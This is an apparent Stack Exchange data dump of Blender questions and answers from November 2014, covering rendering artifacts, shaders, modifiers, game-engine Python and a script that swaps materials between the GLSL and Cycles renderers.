  <row Id="19072" PostTypeId="1" CreationDate="2014-11-20T19:05:41.910" Score="9" ViewCount="466" Body="&lt;p&gt;This is a little odd but I need to save a screen-shot as an array (numpy array for eg) without writing to disk. The idea here is to create and then call the array once per frame in an external script so doing this...  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bge.render.makeScreenshot(&quot;frame.png&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...and then converting the png takes too long to be feasible mostly due to saving the image (which is something I don't need anyway).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to avoid digging into the rasterizer's source as it's completely foreign to me so I figured I'd ask here first. Any thoughts or suggestions would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1868" LastEditorUserId="55" LastEditDate="2014-11-21T15:19:31.093" LastActivityDate="2014-11-21T15:19:31.093" Title="Save screenshot (bge) without writing to disk" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19073" PostTypeId="1" AcceptedAnswerId="19074" CreationDate="2014-11-20T19:53:21.910" Score="2" ViewCount="682" Body="&lt;p&gt;I have 1680p display, which makes lines in Blender just horrible. How can I enable MSAA or any equivalent on the editor? I have a GTX 970. I already tried to enable it in Nvidia Control panel but it makes the UI blurry.&lt;/p&gt;&#xA;" OwnerUserId="8116" LastActivityDate="2014-11-20T19:58:00.527" Title="How to enable MSAA on editor" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19074" PostTypeId="2" ParentId="19073" CreationDate="2014-11-20T19:58:00.527" Score="3" Body="&lt;p&gt;Enable &lt;em&gt;Multisample&lt;/em&gt; in &lt;em&gt;User preferences &gt; System&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fTxMa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you might have to restart blender for the multisample setting to take effect.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-20T19:58:00.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19075" PostTypeId="1" AcceptedAnswerId="19076" CreationDate="2014-11-20T20:58:04.297" Score="5" ViewCount="11907" Body="&lt;p&gt;When can you use a ColorRamp node or better to say where can you use a color ramp to manipulate the color of the mesh to be a gradient and not solid?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to plug the ColorRamp in to the Color input of the Diffuse shader, but I didn't get a gradient, instead I always got one color.&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="599" LastEditDate="2014-11-20T21:11:36.727" LastActivityDate="2014-11-20T21:11:36.727" Title="When can a Color Ramp be used to create a gradiant in a Cycles shader?" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19076" PostTypeId="2" ParentId="19075" CreationDate="2014-11-20T21:06:13.450" Score="13" Body="&lt;p&gt;The &lt;em&gt;ColorRamp&lt;/em&gt; node only remaps existing information. So without an input, you will only get a solid color as output (the solid color in the middle of the ramp, to be exact).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is easily fixed by providing an input, such as a procedural &lt;em&gt;gradient texture&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLI2U.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-20T21:06:13.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19077" PostTypeId="1" CreationDate="2014-11-20T22:29:29.920" Score="1" ViewCount="217" Body="&lt;p&gt;I'd like to create an effect similar to a plant growing over time. Imagine, as the plant grows, it sprouts new leafs and shoots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I can generate a mesh using Python, but can I add geometry to the mesh over time and if so how?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-11-21T08:29:37.523" Title="Can you add geometry to a mesh over time (frames) with Python?" Tags="&lt;python&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19078" PostTypeId="1" CreationDate="2014-11-20T23:11:59.933" Score="1" ViewCount="3122" Body="&lt;p&gt;Hey i Created this Shader which i think really gives good results on cloth but i want to have a bit translucency in it but cant figure out the best way somethign with SSS maybe ? I dont know. You can Improve my Shader or give an even better Shader as Answer if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I figured out best way is with SSS just need to figure out the correct settings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wk07Y.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Vz2Pj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wVG6p.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastEditorUserId="5980" LastEditDate="2014-11-21T01:25:35.670" LastActivityDate="2019-01-10T23:40:31.620" Title="How can i make my Cycles Cloth Shader to look Translucent" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-21T09:47:42.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="19079" PostTypeId="2" ParentId="19078" CreationDate="2014-11-21T01:02:05.567" Score="1" Body="&lt;p&gt;I think with some tweaking, you could get this flag material to look better using a glossy or a velvet shader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J0d34.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea was to recreate the actual threads and have the space in between them be transparent. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7rfbO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6327" LastEditorUserId="64671" LastEditDate="2019-01-10T23:40:31.620" LastActivityDate="2019-01-10T23:40:31.620" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19082" PostTypeId="2" ParentId="13610" CreationDate="2014-11-21T06:23:06.763" Score="1" Body="&lt;p&gt;I cobbled together a quick script to quickly swap all the materials on selected objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a material is named GLSL.whatever, or Cycles.whatever, it'll switch it to whatever is appropriate for your currently selected render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, this doesn't make the materials for you, just goes through the list and swaps materials named GLSL.materialName for Cycles.materialName or vice versa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's useful if you want to use GLSL (Blender Internal) for modeling, then switch to Cycles for major renders. It takes more time up front to make two materials instead of one, but it saves a ton of time during the project because you can preview your work in the realtime GLSL rendering engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(To use it, put it in a text window and hit alt-p to run the script, or just select run script from the text menu.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Disclaimer: I wrote it quickly and haven't thoroughly error checked it, so no guarantees. Try it on a test scene first. It works for me though.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This script should go through all the materials in the SELECTED objects and replace them with another material (that you made) who's name is prefixed with Cycles or GLSL accordingly&#xA;&#xA;# Switch the renderer, select some objects, then run this script.&#xA;# You'll need two copies of every material, one for cycles and one for GLSL.&#xA;# Just name the materials CYCLES.whatever and GLSL.whatever&#xA;&#xA;# eg: Cycles.black.glossy &amp;lt;-&amp;gt; GLSL.black.glossy&#xA;&#xA;&#xA;import bpy&#xA;context = bpy.context # only selected items&#xA;&#xA;&#xA;print(bpy.data.scenes[&quot;Scene&quot;].render.engine)&#xA;&#xA;RenderEngine = bpy.data.scenes[&quot;Scene&quot;].render.engine&#xA;&#xA;if RenderEngine == &quot;BLENDER_GAME&quot; or RenderEngine == &quot;BLENDER_RENDER&quot;:&#xA;    DesiredMaterialNamePrefix = &quot;GLSL&quot;&#xA;    UndesiredMaterialNamePrefix = &quot;Cycles&quot;&#xA;elif RenderEngine == &quot;CYCLES&quot;:&#xA;    DesiredMaterialNamePrefix = &quot;Cycles&quot;&#xA;    UndesiredMaterialNamePrefix = &quot;GLSL&quot;&#xA;&#xA;&#xA;&#xA;print(&quot;---------------------------------------&quot;)&#xA;&#xA;mesh_objs = [ob for ob in context.selected_objects if ob.type == 'MESH']&#xA;&#xA;print(&quot;Materials in scene&quot;)&#xA;print(dir(bpy.data.materials))&#xA;&#xA;for mesh in mesh_objs:&#xA;&#xA;    print(repr(mesh))&#xA;&#xA;&#xA;    print(&quot;active_slot:&quot;, mesh.active_material_index)&#xA;    if mesh.active_material is not None:&#xA;        #print(&quot;active_material:&quot;, repr(mesh.active_material) )&#xA;        print(&quot;active_material:&quot;, mesh.active_material.name)&#xA;&#xA;    for materialSlot, mat in enumerate(mesh.material_slots):&#xA;        if not materialSlot:&#xA;            print(&quot;material_slots&quot;)&#xA;        if mat is not None:&#xA;            print(&quot;\t[%d] = %s&quot; % (materialSlot, mat.name))&#xA;&#xA;            # figure out if the undesired renderer is in the material name&#xA;            # if so, change the material to match the desired renderer&#xA;            # (but verify that the material actually exists before you try to make the swap)&#xA;&#xA;            if (mat.name.find(UndesiredMaterialNamePrefix) != -1):&#xA;                print(&quot;Found material: &quot;, mat.name)&#xA;                desiredMaterialName = mat.name.replace(UndesiredMaterialNamePrefix, DesiredMaterialNamePrefix)&#xA;                print(&quot;Change to: &quot;, desiredMaterialName)&#xA;                print(&quot;finding material&quot;)&#xA;                newMaterial = bpy.data.materials.get(desiredMaterialName)&#xA;                if newMaterial is not None:&#xA;                    print(repr(newMaterial))&#xA;                    mesh.material_slots[materialSlot].material = newMaterial&#xA;                    #print(newMaterial.name)&#xA;                else:&#xA;                    print(&quot;No equivalent Material found for &quot;, desiredMaterialName)&#xA;&#xA;&#xA;            elif (mat.name.find(DesiredMaterialNamePrefix) != -1):&#xA;                print(&quot;Found Desired Renderer: &quot;, DesiredMaterialNamePrefix)&#xA;                print(repr(mat))&#xA;                print(&quot;No change necessary&quot;)&#xA;&#xA;&#xA;&#xA;&#xA;        else:&#xA;            print(&quot;\t[%d] is None&quot; % materialSlot)&#xA;&#xA;    print()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8105" LastActivityDate="2014-11-21T06:23:06.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19083" PostTypeId="2" ParentId="1756" CreationDate="2014-11-21T06:39:00.423" Score="2" Body="&lt;p&gt;I had a similar problem, so I cobbled together a quick script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like my final renders to be in cycles, but I like to work in Blender Internal. The script swaps materials on selected objects. All materials named Cycles.whatever or GLSL.whatever will be replaced with the one appropriate for the current rendering engine. Note, this doesn't make the materials for you, just swaps from one to the other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Takes more time up front, because I have to make two sets of materials, but it saves me a lot of time in the project because Blender Internal is so much faster than cycles and looks better during modeling.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# This script should go through all the materials in the SELECTED objects and replace them with another material (that you made) who's name is prefixed with Cycles or GLSL accordingly&#xA;&#xA;# Switch the renderer, select some objects, then run this script.&#xA;# You'll need two copies of every material, one for cycles and one for GLSL.&#xA;# Just name the materials CYCLES.whatever and GLSL.whatever&#xA;&#xA;# eg: Cycles.black.glossy &amp;lt;-&amp;gt; GLSL.black.glossy&#xA;&#xA;&#xA;import bpy&#xA;context = bpy.context # only selected items&#xA;&#xA;&#xA;print(bpy.data.scenes[&quot;Scene&quot;].render.engine)&#xA;&#xA;RenderEngine = bpy.data.scenes[&quot;Scene&quot;].render.engine&#xA;&#xA;if RenderEngine == &quot;BLENDER_GAME&quot; or RenderEngine == &quot;BLENDER_RENDER&quot;:&#xA;    DesiredMaterialNamePrefix = &quot;GLSL&quot;&#xA;    UndesiredMaterialNamePrefix = &quot;Cycles&quot;&#xA;elif RenderEngine == &quot;CYCLES&quot;:&#xA;    DesiredMaterialNamePrefix = &quot;Cycles&quot;&#xA;    UndesiredMaterialNamePrefix = &quot;GLSL&quot;&#xA;&#xA;&#xA;&#xA;print(&quot;---------------------------------------&quot;)&#xA;&#xA;mesh_objs = [ob for ob in context.selected_objects if ob.type == 'MESH']&#xA;&#xA;print(&quot;Materials in scene&quot;)&#xA;print(dir(bpy.data.materials))&#xA;&#xA;for mesh in mesh_objs:&#xA;&#xA;    print(repr(mesh))&#xA;&#xA;&#xA;    print(&quot;active_slot:&quot;, mesh.active_material_index)&#xA;    if mesh.active_material is not None:&#xA;        #print(&quot;active_material:&quot;, repr(mesh.active_material) )&#xA;        print(&quot;active_material:&quot;, mesh.active_material.name)&#xA;&#xA;    for materialSlot, mat in enumerate(mesh.material_slots):&#xA;        if not materialSlot:&#xA;            print(&quot;material_slots&quot;)&#xA;        if mat is not None:&#xA;            print(&quot;\t[%d] = %s&quot; % (materialSlot, mat.name))&#xA;&#xA;            # figure out if the undesired renderer is in the material name&#xA;            # if so, change the material to match the desired renderer&#xA;            # (but verify that the material actually exists before you try to make the swap)&#xA;&#xA;            if (mat.name.find(UndesiredMaterialNamePrefix) != -1):&#xA;                print(&quot;Found material: &quot;, mat.name)&#xA;                desiredMaterialName = mat.name.replace(UndesiredMaterialNamePrefix, DesiredMaterialNamePrefix)&#xA;                print(&quot;Change to: &quot;, desiredMaterialName)&#xA;                print(&quot;finding material&quot;)&#xA;                newMaterial = bpy.data.materials.get(desiredMaterialName)&#xA;                if newMaterial is not None:&#xA;                    print(repr(newMaterial))&#xA;                    mesh.material_slots[materialSlot].material = newMaterial&#xA;                    #print(newMaterial.name)&#xA;                else:&#xA;                    print(&quot;No equivalent Material found for &quot;, desiredMaterialName)&#xA;&#xA;&#xA;            elif (mat.name.find(DesiredMaterialNamePrefix) != -1):&#xA;                print(&quot;Found Desired Renderer: &quot;, DesiredMaterialNamePrefix)&#xA;                print(repr(mat))&#xA;                print(&quot;No change necessary&quot;)&#xA;&#xA;&#xA;&#xA;&#xA;        else:&#xA;            print(&quot;\t[%d] is None&quot; % materialSlot)&#xA;&#xA;    print()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8105" LastActivityDate="2014-11-21T06:39:00.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19085" PostTypeId="2" ParentId="19077" CreationDate="2014-11-21T08:29:37.523" Score="1" Body="&lt;p&gt;One way is to use the Sapling addon to create a tree. The addon needs to be enabled first in the &lt;em&gt;User Preferences&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oqf4m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the settings were adjusted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Convert it from curve to mesh &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Build&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Build Modifier&lt;/em&gt;&lt;/a&gt; to the stem and another one to the leaves, you might want to add a few more loop cuts &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; to the stem so that the segments are displayed one by one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To let the plant grow scale it down say 10% on frame 1, 50% on frame 10, 100% on frame 20&#xA;Set the Build modifiers start frame to 20 and 30.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jzN0W.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pasteall.org/blend/32974&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-21T08:29:37.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19086" PostTypeId="1" AcceptedAnswerId="19087" CreationDate="2014-11-21T09:43:23.273" Score="7" ViewCount="3798" Body="&lt;p&gt;Hi i'm very new to blender, and currently, just for beginning i'm doing some &quot;homeworks&quot;. Now i'm modeling an hatchet and i want to add a tape around the wood handle. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n9xvD.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone tell me how i can do it or point me in the right direction?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8122" LastActivityDate="2014-11-21T10:24:15.290" Title="How to create a tape wrapped around an handle" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19087" PostTypeId="2" ParentId="19086" CreationDate="2014-11-21T10:24:15.290" Score="9" Body="&lt;p&gt;Starting with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Screw&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Screw Modifier&lt;/em&gt;&lt;/a&gt; you could create the tape (spiral) from a plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P3Crw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Shrinkwrap&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Shrinkwrap Modifier&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xbXCI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-21T10:24:15.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19088" PostTypeId="1" AcceptedAnswerId="19240" CreationDate="2014-11-21T12:40:02.390" Score="1" ViewCount="191" Body="&lt;p&gt;I am creating a node group and this node group required the value of the X resolution of the image that the user will put so the user should put half the value of the X resolution but I want to make this automatic so the user should only put the image and half the value of X resolution will automatically generated,so how can I get the value of X resolution of the image that the user will put.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2014-11-26T08:12:10.093" Title="how to get the a value of the resolution of an image in blender compositor?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19089" PostTypeId="1" CreationDate="2014-11-21T13:16:42.660" Score="1" ViewCount="220" Body="&lt;p&gt;I have a scene I want to render where a small object moves across the camera's field of view. The rest of the scene is just a black void containing absolutely nothing (see image below). I need to render this as an image sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This object is basically a mirror reflecting a somewhat complex scene, so I want to render it with a very high resolution (14mpx or more). And enough samples to get a good quality on the reflections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that if i rise the number of samples, and because of the high resolution, it takes ages for each frame to render, while most of the time is just spent rendering a black region. The camera must stay static during the whole sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is it possible to configure blender to use a high number of samples around the object, and a very low value on the empty region?&lt;/strong&gt; (I want to make the whole process faster)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UAvHX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Edit&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I used the option &lt;em&gt;border&lt;/em&gt; in the render menu, as described in this &lt;a href=&quot;https://blender.stackexchange.com/questions/301/render-just-part-of-a-final-image-from-cycles&quot;&gt;answer&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2391" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2020-12-02T12:49:13.650" Title="Adaptative sampling on Cycles" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19090" PostTypeId="1" CreationDate="2014-11-21T13:41:50.340" Score="0" ViewCount="66" Body="&lt;p&gt;I'm new to blender and python..I want to clear the input serial buffer of the blender game engine before reads data from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used &lt;code&gt;GameLogic.SerialPort.flushInput()&lt;/code&gt; to clear the buffer. I have connected &quot;always&quot; sensor with the &quot;True&quot; level triggering.Therefor code can run infinitely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only need to clear the input buffer once in the loop but it always clear the serial buffer..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to clear serial buffer once in the infinite loop...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Blender code&#xA;&#xA;import GameLogic&#xA;import serial&#xA;&#xA;&#xA;port = 'COM12' &#xA;&#xA;try: &#xA;    GameLogic.SerialPort &#xA;except: &#xA;    GameLogic.SerialPort = serial.Serial(port,115200) &#xA;&#xA;&#xA;GameLogic.SerialPort.flushInput()&#xA;.&#xA;.&#xA;.&#xA;rest of the programm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6016" LastEditorUserId="55" LastEditDate="2014-11-21T13:44:54.693" LastActivityDate="2014-11-21T13:44:54.693" Title="Execute function only once in a infinite loop on blender game engine?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-11-22T18:36:18.813" ContentLicense="CC BY-SA 3.0" />
  <row Id="19091" PostTypeId="1" CreationDate="2014-11-21T15:16:26.600" Score="4" ViewCount="2981" Body="&lt;p&gt;When I render my model in Cycles (I applied a dummy material just to check), there are some bad/glitched shadows in some spots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nNmYR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, in shaded view (smooth shading applied to the whole mesh), it seems fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wrcIQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the face normals, and they're fine, vertex normals look fine too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/padtU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a retopo of a sculpt I've made, it might not be perfect but there are no triangles or n-gons. It's also strange because those darker spots are triangular. &#xA;I also checked if there were two faces one over the other, but there are none. Everything looks fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what may be causing this, any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I should point out that this happens on more than one spot and only when the spot is in some degree of shadow. If it's lit it looks fine.&lt;/p&gt;&#xA;" OwnerUserId="5236" LastEditorUserId="241" LastEditDate="2014-11-21T15:42:56.023" LastActivityDate="2017-02-01T04:03:44.193" Title="Shader artifacts rendering in some spots of the mesh" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;mesh&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19092" PostTypeId="2" ParentId="19091" CreationDate="2014-11-21T15:57:37.897" Score="2" Body="&lt;p&gt;Judging from the normals, they don't fit the visible mesh. See the ones in the red circle they should point more upward (+z). Besides that there should only be one face normal in the center of the face. The area in the orange circle shows two normals but only one face. &#xA;You should check for duplicated vertices and faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;V&lt;/kbd&gt; Remove doubles (note the merge distance in the last operator panel)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;N&lt;/kbd&gt; Recalculate Normals&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rkaa9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit after .blend was provided for detailed analysis:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coloring one of the suspicious faces:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7rlFU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the wireframe mode you can clearly see that all of the vertices are not on a plane (non-coplanar) this causes the artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ss0Ci.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try to fix this by selecting these faces and switch to &lt;em&gt;Transformation Orientation&lt;/em&gt; to Normal:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GBs9W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And scale them with &lt;kbd&gt;S&lt;/kbd&gt;-&lt;kbd&gt;Z&lt;/kbd&gt;-&lt;kbd&gt;Z&lt;/kbd&gt;-&lt;kbd&gt;0&lt;/kbd&gt; better you could find out what had caused this.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-11-21T21:05:20.517" LastActivityDate="2014-11-21T21:05:20.517" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19093" PostTypeId="1" AcceptedAnswerId="19094" CreationDate="2014-11-21T16:39:19.963" Score="5" ViewCount="793" Body="&lt;p&gt;I'm rendering some hair close up, with a fresnel-based material on them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8Slg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The majority of the render looks fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5aoyM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, some areas have a scratchy-looking artifacts running perpendicular to the hair length:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What cases these artifacts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KfbKo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-21T18:22:50.867" Title="Where do these hair artifacts come from?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19094" PostTypeId="2" ParentId="19093" CreationDate="2014-11-21T18:22:50.867" Score="4" Body="&lt;p&gt;I guess you are using curve segments as primitives for your hair. In this case Blender interpolates the segments between the simulated hair particles using &lt;a href=&quot;https://en.wikipedia.org/wiki/Cubic_Hermite_spline#Cardinal_spline&quot; rel=&quot;nofollow noreferrer&quot;&gt;cardinal splines&lt;/a&gt;. However it can only approximate the spline using linear, tube-like segments.&lt;br&gt;&#xA;It looks like Blender does not close the gaps between the tubes properly. You can reduce the effect by increasing the &lt;code&gt;Curve subdivisions&lt;/code&gt; in the Cycles Hair Rendering settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pWeak.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will however hurt performance since more geometry is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a comparison of &lt;code&gt;Curve subdivisions&lt;/code&gt; set to 2 (top) versus &lt;code&gt;Curve subdivisions&lt;/code&gt; set to 4 (bottom):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ovNbr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nxSxT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the bottom image the white lines are gone, however you can still see that the curves are only approximated by straight tubular pieces (see the edge of the hair in the bottom left corner and the shading of the hairs in the bottom right corner).&lt;/p&gt;&#xA;" 